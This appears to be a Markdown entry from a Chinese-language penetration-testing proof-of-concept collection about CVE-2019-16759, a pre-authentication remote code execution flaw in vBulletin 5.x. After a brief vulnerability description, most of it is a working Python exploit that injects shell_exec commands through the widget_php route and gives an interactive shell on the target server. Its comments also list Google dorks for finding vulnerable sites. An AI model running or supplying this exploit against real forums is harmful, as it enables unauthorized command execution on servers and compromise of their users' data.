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https://github.com/Mr-xn/Penetration_Testing_POC.git
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copilot-swe-agent[bot]
72 lines
1.8 KiB
Markdown
72 lines
1.8 KiB
Markdown
## 前言
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vBulletin 是一个商用的论坛程序，在全球拥有数万用户且增长速度很快。该论坛采用PHP Web语言及MySQL数据库的方式进行架构。《财富》 500强和Alexa排名前100万的公司网站大部分都在使用的一款互联网论坛程序。
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## 漏洞简介
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CVE-2019-16759 vBulletin 5.x 0day pre-auth RCE exploit ，无需预认证即可执行远程代码执行漏洞
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## 漏洞危害
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不需要在目标论坛上注册帐户,即可在运行vBulletin安装的服务器上执行shell命令
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## 影响范围
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### 产品
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> vBulletin 5.x
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### 版本
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> vBulletin v5（5.0.0到5.5.4）版本
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### 组件
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> vBulletin
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## 漏洞复现
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## POC
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```python
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#!/usr/bin/python
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#
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# vBulletin 5.x 0day pre-auth RCE exploit
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#
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# This should work on all versions from 5.0.0 till 5.5.4
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#
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# Google Dorks:
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# - site:*.vbulletin.net
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# - "Powered by vBulletin Version 5.5.4"
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import requests
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import sys
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if len(sys.argv) != 2:
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sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])
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proxies ={
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"http":"http://127.0.0.1:8080/"
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}
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params = {"routestring":"ajax/render/widget_php"}
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while True:
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try:
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cmd = raw_input(">>>Shell= ")
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params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"');echo md5('vBulletin'); exit;"
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r = requests.post(url = sys.argv[1], data = params, proxies=proxies)
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if r.status_code == 200 or r.status_code ==403 and 'be4ea51d962be8308a0099ae1eb3ec63' in r.text:
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print
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print r.text.split('be4ea51d962be8308a0099ae1eb3ec63')[0]
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else:
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sys.exit("Exploit failed! :(")
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except KeyboardInterrupt:
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sys.exit("\nClosing shell...")
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except Exception, e:
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sys.exit(str(e))
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```
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### 复现截图
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